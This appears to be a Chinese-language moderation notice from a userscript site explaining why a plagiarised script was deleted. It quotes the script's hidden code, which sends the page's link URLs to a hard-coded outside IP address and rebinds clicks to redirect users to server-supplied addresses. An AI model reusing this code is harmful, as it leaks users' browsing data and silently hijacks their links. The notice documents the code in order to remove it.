经审查,代码diff除了文字修改几乎与原作者完全雷同
后端貌似也没有尝试自己实现,直接采用的原作者
并添加了购物平台的连接自动替换
购物代码如下
base.panData.wrapper.forEach(function(i) {
let list = $(i);
list.map(function(k, s) {
if ($(s).attr('data-md5-value') != 'yes') {
base.panList.push(s);
base.panTemp.push(s);
$(s).attr('data-md5-key', base.panKey);
$(s).attr('data-md5-value', 'yes');
base.panKey++;
}
})
})
let requestTemp = base.panTemp.splice(0, base.panData.splName);
let requestList = [];
requestTemp.forEach(function(s, k) {
let temp = {};
temp['href'] = $(s).find('a:first').attr('href');
temp['md5'] = $(s).attr('data-md5-key');
requestList.push(temp);
})
if (requestList.length > 0) {
base.post(`http://49.235.155.5/search.php`, JSON.stringify({
data: requestList
}), {}, 'json').then( (res) => {
res.map(function(item) {
if (item.u) {
$(base.panList[item.md5]).find('a').bind("click", function(e) {
e.preventDefault();
base.jump(item.u);
})
}
})
}
);
}
综上所述,违反了脚本站规则3,已进行删除处理,感谢反馈